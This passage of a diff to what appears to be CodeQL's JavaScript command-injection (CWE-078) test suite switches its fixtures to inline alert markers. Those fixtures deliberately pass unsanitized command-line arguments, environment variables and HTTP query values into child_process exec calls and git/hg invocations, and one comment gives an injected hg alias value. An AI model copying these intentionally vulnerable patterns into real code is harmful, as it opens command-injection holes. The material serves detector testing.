-| command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line argument |
-| command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line argument |
-| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument |
-| command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument |
-| command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument |
-| command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line argument |
-| command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line argument |
-| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line argument |
-| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line argument |
-| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line argument |
-| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line argument |
-| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line argument |
-| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line argument |
-| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line argument |
-| command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line argument |
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.qlref
index 2911d45d2dac..4367c17e03ee 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-078/IndirectCommandInjection.ql
\ No newline at end of file
+query: Security/CWE-078/IndirectCommandInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/actions.js b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/actions.js
index 7a8f6982f178..021715395217 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/actions.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/actions.js
@@ -1,14 +1,14 @@
 import { exec } from "@actions/exec";
 import { getInput } from "@actions/core";
 
-exec(process.env['TEST_DATA']); // NOT OK
-exec(process.env['GITHUB_ACTION']); // OK
+exec(process.env['TEST_DATA']); // $ Alert
+exec(process.env['GITHUB_ACTION']);
 
 function test(e) {
-    exec(e['TEST_DATA']); // NOT OK
-    exec(e['GITHUB_ACTION']); // OK
+    exec(e['TEST_DATA']); // $ Alert
+    exec(e['GITHUB_ACTION']);
 }
 
-test(process.env);
+test(process.env); // $ Source
 
-exec(getInput('data')); // NOT OK
+exec(getInput('data')); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js
index 17b8b6c9c25e..fe5142a0b3c8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js
@@ -1,95 +1,95 @@
 var cp = require("child_process");
 
 (function() {
-	cp.exec(process.argv); // NOT OK (just weird)
-	cp.exec(process.argv[0]); // OK
-	cp.exec("cmd.sh " + process.argv[0]); // OK
-	cp.exec("cmd.sh " + process.argv[1]); // OK
-	cp.exec("cmd.sh " + process.argv[2]); // NOT OK
+	cp.exec(process.argv); // $ Alert - just weird
+	cp.exec(process.argv[0]);
+	cp.exec("cmd.sh " + process.argv[0]);
+	cp.exec("cmd.sh " + process.argv[1]);
+	cp.exec("cmd.sh " + process.argv[2]); // $ Alert
 
-	var args = process.argv.slice(2);
-	cp.execSync(args[0]); // NOT OK
-	cp.execSync("cmd.sh " + args[0]); // NOT OK
+	var args = process.argv.slice(2); // $ Source
+	cp.execSync(args[0]); // $ Alert
+	cp.execSync("cmd.sh " + args[0]); // $ Alert
 
 	var fewerArgs = args.slice(1);
-	cp.execSync(fewerArgs[0]); // NOT OK
-	cp.execSync("cmd.sh " + fewerArgs[0]); // NOT OK
+	cp.execSync(fewerArgs[0]); // $ Alert
+	cp.execSync("cmd.sh " + fewerArgs[0]); // $ Alert
 
 	var arg0 = fewerArgs[0];
-	cp.execSync(arg0); // NOT OK
-	cp.execSync("cmd.sh " + arg0); // NOT OK
+	cp.execSync(arg0); // $ Alert
+	cp.execSync("cmd.sh " + arg0); // $ Alert
 });
 
 (function() {
-	const args = process.argv.slice(2);
+	const args = process.argv.slice(2); // $ Source
 	const script = path.join(packageDir, 'app', 'index.js');
-	cp.execSync(`node ${script} ${args[0]} --option"`); // NOT OK
-	cp.execSync(`node ${script} ${args.join(' ')} --option"`); // NOT OK
+	cp.execSync(`node ${script} ${args[0]} --option"`); // $ Alert
+	cp.execSync(`node ${script} ${args.join(' ')} --option"`); // $ Alert
 });
 
-cp.exec("cmd.sh " + require("get-them-args")().foo); // NOT OK
+cp.exec("cmd.sh " + require("get-them-args")().foo); // $ Alert
 cp.exec("cmd.sh " + require("minimist")().foo); // OK - no args provided.
-cp.exec("cmd.sh " + require("yargs").argv.foo); // NOT OK
-cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK
+cp.exec("cmd.sh " + require("yargs").argv.foo); // $ Alert
+cp.exec("cmd.sh " + require("optimist").argv.foo); // $ Alert
 
 (function () {
 	var args = require('yargs') // eslint-disable-line
 		.command('serve [port]', 'start the server', (yargs) => { })
 		.option('verbose', { foo: "bar" })
-		.argv
+		.argv // $ Source
 
-	cp.exec("cmd.sh " + args); // NOT OK
+	cp.exec("cmd.sh " + args); // $ Alert
 
-	cp.exec("cmd.sh " + require("yargs").array("foo").parse().foo); // NOT OK
+	cp.exec("cmd.sh " + require("yargs").array("foo").parse().foo); // $ Alert
 });
 
 (function () {
 	const {
 		argv: {
 			...args
-		},
+		}, // $ Source
 	} = require('yargs')
 		.usage('Usage: foo bar')
 		.command();
 
-	cp.exec("cmd.sh " + args); // NOT OK
+	cp.exec("cmd.sh " + args); // $ Alert
 
-	var tainted1 = require('yargs').argv;
-	var tainted2 = require('yargs').parse()
+	var tainted1 = require('yargs').argv; // $ Source
+	var tainted2 = require('yargs').parse() // $ Source
 	
 	const {taint1: {...taint1rest},taint2: {...taint2rest}} = {
 		taint1: tainted1,
 		taint2: tainted2
 	}
 
-	cp.exec("cmd.sh " + taint1rest); // NOT OK - has flow from tainted1
-	cp.exec("cmd.sh " + taint2rest); // NOT OK - has flow from tianted2
+	cp.exec("cmd.sh " + taint1rest); // $ Alert - has flow from tainted1
+	cp.exec("cmd.sh " + taint2rest); // $ Alert - has flow from tianted2
 	
-	var {...taint3} = require('yargs').argv;
-	cp.exec("cmd.sh " + taint3); // NOT OK
+	var {...taint3} = require('yargs').argv; // $ Source
+	cp.exec("cmd.sh " + taint3); // $ Alert
 
-	var [...taint4] = require('yargs').argv;
-	cp.exec("cmd.sh " + taint4); // NOT OK
+	var [...taint4] = require('yargs').argv; // $ Source
+	cp.exec("cmd.sh " + taint4); // $ Alert
 });
 
 (function () {
-	const argv = process.argv.slice(2);
+	const argv = process.argv.slice(2); // $ Source
 
 	var minimist = require("minimist");
-	cp.exec("cmd.sh " + minimist(argv).foo); // NOT OK
+	cp.exec("cmd.sh " + minimist(argv).foo); // $ Alert
 
 	var subarg = require('subarg');
-	cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // NOT OK
+	cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // $ Alert
 
 	var yargsParser = require('yargs-parser');
-	cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // NOT OK
+	cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // $ Alert
 
 	import args from 'args'
-	var flags = args.parse(process.argv);
-	cp.exec("cmd.sh " + flags.foo); // NOT OK
+	var flags = args.parse(process.argv); // $ Source
+	cp.exec("cmd.sh " + flags.foo); // $ Alert
 
-	var flags = require('arg')({...spec});
-	cp.exec("cmd.sh " + flags.foo); // NOT OK
+	var flags = require('arg')({...spec}); // $ Source
+	cp.exec("cmd.sh " + flags.foo); // $ Alert
 })
 
 (function () {
@@ -99,42 +99,42 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK
 	
 	parser.add_argument('-f', '--foo', { help: 'foo bar' });
 	
-	cp.exec("cmd.sh " + parser.parse_args().foo); // NOT OK
+	cp.exec("cmd.sh " + parser.parse_args().foo); // $ Alert
 });
 
 (function () {
 	const commandLineArgs = require('command-line-args');
-	const options = commandLineArgs(optionDefinitions);
-	cp.exec("cmd.sh " + options.foo); // NOT OK
+	const options = commandLineArgs(optionDefinitions); // $ Source
+	cp.exec("cmd.sh " + options.foo); // $ Alert
 });
 
 (function () {
 	const meow = require('meow');
 	 
-	const cli = meow(`helpstring`, {flags: {...flags}});
+	const cli = meow(`helpstring`, {flags: {...flags}}); // $ Source
 
-	cp.exec("cmd.sh " + cli.input[0]); // NOT OK
+	cp.exec("cmd.sh " + cli.input[0]); // $ Alert
 });
 
 (function () {
 	var dashdash = require('dashdash');
  
-	var opts = dashdash.parse({options: options});
+	var opts = dashdash.parse({options: options}); // $ Source
 	
-	cp.exec("cmd.sh " + opts.foo); // NOT OK
+	cp.exec("cmd.sh " + opts.foo); // $ Alert
 
 	var parser = dashdash.createParser({options: options});
-	var opts = parser.parse();
+	var opts = parser.parse(); // $ Source
 	
-	cp.exec("cmd.sh " + opts.foo); // NOT OK
+	cp.exec("cmd.sh " + opts.foo); // $ Alert
 });
 
 (function () {
-	const { program } = require('commander');
+	const { program } = require('commander'); // $ Source
 	program.version('0.0.1');
 
-	cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
-	cp.exec("cmd.sh " + program.pizzaType); // NOT OK
+	cp.exec("cmd.sh " + program.opts().pizzaType); // $ Alert
+	cp.exec("cmd.sh " + program.pizzaType); // $ Alert
 });
 
 (function () {
@@ -142,8 +142,8 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK
 	const program = new Command();
 	program.version('0.0.1');
 
-	cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
-	cp.exec("cmd.sh " + program.pizzaType); // NOT OK
+	cp.exec("cmd.sh " + program.opts().pizzaType); // $ Alert
+	cp.exec("cmd.sh " + program.pizzaType); // $ Alert
 
-	cp.execFile(program.opts().pizzaType, ["foo", "bar"]); // OK
+	cp.execFile(program.opts().pizzaType, ["foo", "bar"]);
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.expected
index e449f163d463..e4396669dc85 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.expected
@@ -1,3 +1,21 @@
+#select
+| second-order.js:7:33:7:38 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:7:33:7:38 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
+| second-order.js:9:29:9:34 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:9:29:9:34 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
+| second-order.js:11:33:11:38 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:11:33:11:38 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
+| second-order.js:15:19:15:24 | myArgs | second-order.js:13:18:13:31 | req.query.args | second-order.js:15:19:15:24 | myArgs | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:13:18:13:31 | req.query.args | a user-provided value |
+| second-order.js:26:35:26:40 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:26:35:26:40 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
+| second-order.js:29:19:29:32 | req.query.args | second-order.js:29:19:29:32 | req.query.args | second-order.js:29:19:29:32 | req.query.args | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:29:19:29:32 | req.query.args | a user-provided value |
+| second-order.js:40:28:40:43 | req.query.remote | second-order.js:40:28:40:43 | req.query.remote | second-order.js:40:28:40:43 | req.query.remote | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:40:28:40:43 | req.query.remote | a user-provided value |
+| second-order.js:42:31:42:46 | req.query.remote | second-order.js:42:31:42:46 | req.query.remote | second-order.js:42:31:42:46 | req.query.remote | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:42:31:42:46 | req.query.remote | a user-provided value |
+| second-order.js:44:18:44:31 | req.query.args | second-order.js:44:18:44:31 | req.query.args | second-order.js:44:18:44:31 | req.query.args | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:44:18:44:31 | req.query.args | a user-provided value |
+edges
+| second-order.js:6:9:6:33 | remote | second-order.js:7:33:7:38 | remote | provenance |  |
+| second-order.js:6:9:6:33 | remote | second-order.js:9:29:9:34 | remote | provenance |  |
+| second-order.js:6:9:6:33 | remote | second-order.js:11:33:11:38 | remote | provenance |  |
+| second-order.js:6:9:6:33 | remote | second-order.js:26:35:26:40 | remote | provenance |  |
+| second-order.js:6:18:6:33 | req.query.remote | second-order.js:6:9:6:33 | remote | provenance |  |
+| second-order.js:13:9:13:31 | myArgs | second-order.js:15:19:15:24 | myArgs | provenance |  |
+| second-order.js:13:18:13:31 | req.query.args | second-order.js:13:9:13:31 | myArgs | provenance |  |
 nodes
 | second-order.js:6:9:6:33 | remote | semmle.label | remote |
 | second-order.js:6:18:6:33 | req.query.remote | semmle.label | req.query.remote |
@@ -12,22 +30,4 @@ nodes
 | second-order.js:40:28:40:43 | req.query.remote | semmle.label | req.query.remote |
 | second-order.js:42:31:42:46 | req.query.remote | semmle.label | req.query.remote |
 | second-order.js:44:18:44:31 | req.query.args | semmle.label | req.query.args |
-edges
-| second-order.js:6:9:6:33 | remote | second-order.js:7:33:7:38 | remote | provenance |  |
-| second-order.js:6:9:6:33 | remote | second-order.js:9:29:9:34 | remote | provenance |  |
-| second-order.js:6:9:6:33 | remote | second-order.js:11:33:11:38 | remote | provenance |  |
-| second-order.js:6:9:6:33 | remote | second-order.js:26:35:26:40 | remote | provenance |  |
-| second-order.js:6:18:6:33 | req.query.remote | second-order.js:6:9:6:33 | remote | provenance |  |
-| second-order.js:13:9:13:31 | myArgs | second-order.js:15:19:15:24 | myArgs | provenance |  |
-| second-order.js:13:18:13:31 | req.query.args | second-order.js:13:9:13:31 | myArgs | provenance |  |
 subpaths
-#select
-| second-order.js:7:33:7:38 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:7:33:7:38 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
-| second-order.js:9:29:9:34 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:9:29:9:34 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
-| second-order.js:11:33:11:38 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:11:33:11:38 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
-| second-order.js:15:19:15:24 | myArgs | second-order.js:13:18:13:31 | req.query.args | second-order.js:15:19:15:24 | myArgs | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:13:18:13:31 | req.query.args | a user-provided value |
-| second-order.js:26:35:26:40 | remote | second-order.js:6:18:6:33 | req.query.remote | second-order.js:26:35:26:40 | remote | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:6:18:6:33 | req.query.remote | a user-provided value |
-| second-order.js:29:19:29:32 | req.query.args | second-order.js:29:19:29:32 | req.query.args | second-order.js:29:19:29:32 | req.query.args | Command line argument that depends on $@ can execute an arbitrary command if --upload-pack is used with git. | second-order.js:29:19:29:32 | req.query.args | a user-provided value |
-| second-order.js:40:28:40:43 | req.query.remote | second-order.js:40:28:40:43 | req.query.remote | second-order.js:40:28:40:43 | req.query.remote | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:40:28:40:43 | req.query.remote | a user-provided value |
-| second-order.js:42:31:42:46 | req.query.remote | second-order.js:42:31:42:46 | req.query.remote | second-order.js:42:31:42:46 | req.query.remote | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:42:31:42:46 | req.query.remote | a user-provided value |
-| second-order.js:44:18:44:31 | req.query.args | second-order.js:44:18:44:31 | req.query.args | second-order.js:44:18:44:31 | req.query.args | Command line argument that depends on $@ can execute an arbitrary command if --config=alias.<alias>=<command> is used with hg. | second-order.js:44:18:44:31 | req.query.args | a user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.qlref
index 00961f212e74..b6f6625a0e76 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/SecondOrderCommandInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-078/SecondOrderCommandInjection.ql
\ No newline at end of file
+query: Security/CWE-078/SecondOrderCommandInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/second-order.js b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/second-order.js
index f68093d24053..b49d6b2bd73b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/second-order.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/SecondOrderCommandInjection/second-order.js
@@ -3,19 +3,19 @@ const app = express();
 const { execFile } = require("child_process");
 
 app.get("/", (req, res) => {
-  const remote = req.query.remote;
-  execFile("git", ["ls-remote", remote]); // NOT OK
+  const remote = req.query.remote; // $ Source
+  execFile("git", ["ls-remote", remote]); // $ Alert
 
-  execFile("git", ["fetch", remote]); // NOT OK
+  execFile("git", ["fetch", remote]); // $ Alert
 
-  indirect("git", ["ls-remote", remote]); // NOT OK
+  indirect("git", ["ls-remote", remote]); // $ Alert
 
-  const myArgs = req.query.args;
+  const myArgs = req.query.args; // $ Source
 
-  execFile("git", myArgs); // NOT OK
+  execFile("git", myArgs); // $ Alert
 
   if (remote.startsWith("--")) {
-    execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it is very explicit that options that allowed here. 
+    execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it is very explicit that options that allowed here.
   } else {
     execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's not an option
   }
@@ -23,10 +23,10 @@ app.get("/", (req, res) => {
   if (remote.startsWith("git@")) {
     execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's a git URL
   } else {
-    execFile("git", ["ls-remote", remote, "HEAD"]); // NOT OK - unknown starting string
+    execFile("git", ["ls-remote", remote, "HEAD"]); // $ Alert - unknown starting string
   }
 
-  execFile("git", req.query.args); // NOT OK - unknown args
+  execFile("git", req.query.args); // $ Alert - unknown args
 
   execFile("git", ["add", req.query.args]); // OK - git add is not a command that can be used to execute arbitrary code
 
@@ -34,16 +34,16 @@ app.get("/", (req, res) => {
 
   execFile("git", ["ls-remote", req.query.remote].concat(req.query.otherArgs)); // NOT OK - but not found [INCONSISTENCY]. It's hard to track through concat.
 
-  execFile("git", ["add", "fpp"].concat(req.query.notVulnerable)); // OK
+  execFile("git", ["add", "fpp"].concat(req.query.notVulnerable));
 
   // hg
-  execFile("hg", ["clone", req.query.remote]); // NOT OK
+  execFile("hg", ["clone", req.query.remote]); // $ Alert
 
-  execFile("hg", ["whatever", req.query.remote]); // NOT OK - `--config=alias.whatever=touch pwned`
+  execFile("hg", ["whatever", req.query.remote]); // $ Alert - `--config=alias.whatever=touch pwned`
 
-  execFile("hg", req.query.args); // NOT OK - unknown args
+  execFile("hg", req.query.args); // $ Alert - unknown args
 
-  execFile("hg", ["clone", "--", req.query.remote]); // OK
+  execFile("hg", ["clone", "--", req.query.remote]);
 });
 
 function indirect(cmd, args) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment.qlref b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment.qlref
index ee13f263562a..b9f570b25eee 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/ShellCommandInjectionFromEnvironment.qlref
@@ -1 +1,2 @@
-Security/CWE-078/ShellCommandInjectionFromEnvironment.ql
\ No newline at end of file
+query: Security/CWE-078/ShellCommandInjectionFromEnvironment.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js
index 0d610b1e9dd3..0a0edcbd25c7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment/tst_shell-command-injection-from-environment.js
@@ -2,12 +2,12 @@ var cp = require('child_process'),
     path = require('path'),
     execa = require("execa");
 (function() {
-	cp.execFileSync('rm',  ['-rf', path.join(__dirname, "temp")]); // GOOD
-	cp.execSync('rm -rf ' + path.join(__dirname, "temp")); // BAD
+	cp.execFileSync('rm',  ['-rf', path.join(__dirname, "temp")]);
+	cp.execSync('rm -rf ' + path.join(__dirname, "temp")); // $ Alert
 
-	execa.shell('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
-	execa.shellSync('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
+	execa.shell('rm -rf ' + path.join(__dirname, "temp")); // $ Alert
+	execa.shellSync('rm -rf ' + path.join(__dirname, "temp")); // $ Alert
 
 	const safe = "\"" + path.join(__dirname, "temp") + "\"";
-	execa.shellSync('rm -rf ' + safe); // OK
+	execa.shellSync('rm -rf ' + safe);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected
index 482c3cfff1b4..c4b16b01a38f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected
@@ -1,8 +1,115 @@
+#select
+| lib/isImported.js:6:10:6:25 | "rm -rf " + name | lib/isImported.js:5:49:5:52 | name | lib/isImported.js:6:22:6:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/isImported.js:5:49:5:52 | name | library input | lib/isImported.js:6:2:6:26 | cp.exec ... + name) | shell command |
+| lib/lib2.js:4:10:4:25 | "rm -rf " + name | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib2.js:3:28:3:31 | name | library input | lib/lib2.js:4:2:4:26 | cp.exec ... + name) | shell command |
